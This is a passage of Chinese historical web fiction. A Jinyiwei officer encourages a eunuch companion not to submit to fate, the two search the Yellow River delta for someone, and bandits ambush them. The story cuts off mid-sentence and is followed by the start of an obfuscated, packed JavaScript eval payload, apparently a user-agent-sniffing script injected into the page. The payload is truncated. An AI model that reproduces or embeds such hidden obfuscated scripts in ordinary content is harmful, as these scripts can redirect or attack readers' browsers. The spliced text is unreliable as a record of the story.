文竹接过炊饼小口咬着，眼角扫过晴雷，见他赤着上身处理肩膀伤口，水珠顺着肌理的沟壑滚落，淌过道道狰狞的伤疤。
文竹垂眼不敢再看，忍不住又偷瞄了几眼。
“看够了？”
带笑的嗓音惊得他呛住一口饼渣，急忙四处找水喝。咕噜咕噜，水囊瘪了大半，总算缓解了尴尬。
文竹默默放下水壶，“大人，你经受过不少苦痛吧？”
晴雷随意披上中衣，白色衣襟随着动作晃过锁骨，“这是锦衣卫的职责，也是我生来的宿命。”
“大人也信命吗？”文竹抬眼看他。
晴雷系上衣襟，漫不经心地扣着盘扣，“怎么突然问起这个？”
文竹捏紧掌心，半晌低声道：“只是觉得，大人身处这等险境，却从不畏惧，也不曾犹疑，真真令人钦佩。”
晴雷摇摇头，“人活于世，命数既定，但我从不信天定的命。我信刀，也信人心。人心若弱，命便是枷锁；人心若强，命便是利刃。”
他看向文竹，眸色沉静：“你信命么？”
文竹怔住，指尖下意识蜷紧。自幼被迫阉割，失去凡人该有的所有可能性，自卑、隐忍，连活着都像是一种偷来的恩赐。
命运，从来都是高悬在他头顶的铡刀，不知什么时候就会落下。
“文竹。”晴雷遽然打断他的沉默。
“你既能随我走到这一步，便该明白，人不该被命运禁锢。你是你自己，不是某个人的影子，不是身份的束缚，更不是命运的弃子。”
文竹瞳孔微缩，猛地抬头。
篝火映着少年的眉目，坦荡而锋锐。他像是横亘天地的一把刀，斩强敌，逆风雪，从不向命运低头。
“活着，不是苟且，也不是认命。”晴雷凝视着他，语气笃定，“你不欠谁的，也不该被过去困住。”
文竹怔怔地看着他，离开京城的马车上，小姐也说过同样的话语。
在那以前，从未有人告诉他，他可以不活成某种模样，也可以不将自己困在既定的阴影里。他以为自己的一生不过如此，无论走到哪，都是寄人篱下。
可此刻，小姐与晴雷的话，如刀般化解了他心底的樊笼，让他看见外面广阔的天地。
篝火轻燃，夜风吹起少年未系紧的衣襟，冷冽而凌然。
“大人……”他嗓音微哑，“为什么对我说这些？”
晴雷嘴角扬起：“因为你值得。”
文竹的心倏然揪紧，像是被风吹动的湖面。他垂下眼，手指紧紧拽住衣角，久久无法言语。
雨过天晴，二人重新整顿行装，再次踏上寻人的征途。可跋山涉水几个月下来，只几名老渔夫提及，偶尔确曾有尸体顺流而下，至于是谁、流向何方，无从得知。
盘缠渐渐见底，他们不得不在沿途打零工换取路费。晴雷力气大，码头扛了几日麻袋，衣衫被汗水浸透，肩膀磨出道道红痕；文竹手巧，替人跑腿、缝补，偶尔帮店铺抄录账簿，勉强赚些铜板。
就这样走走停停，两人一路东行，直到十一月，终于来到黄河入海口。
他们在海边码头四处打听，倒没听说有漂浮的尸体出现，但无意间打听到沙洲一处渔民家里，最近新来了一个外地人，持京城口音，身形高大挺拔，年纪二十岁出头。
晴雷眼睛一亮，决定深入渔民家里查探。
沙洲种满黑松林，海风裹挟着咸腥水汽掠过，惊起海鸥阵阵。林间幽深寂静，弥漫着若有若无的血腥气。
晴雷陡然勒住踏月，雁翎刀倾斜滑出，刀锋映着晨光，“出来。”
林间传来窸窣声，十余名响马自树后鱼贯闪出。
为首的独眼汉子叼着草梗，独眼在晴雷身上逡巡，“好俊俏的小郎君，你跨下这匹宝马，够爷喝三年花酒。”
又目光一转落在文竹，咧嘴笑道：“还有个小白脸，娘里娘气的，爷倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2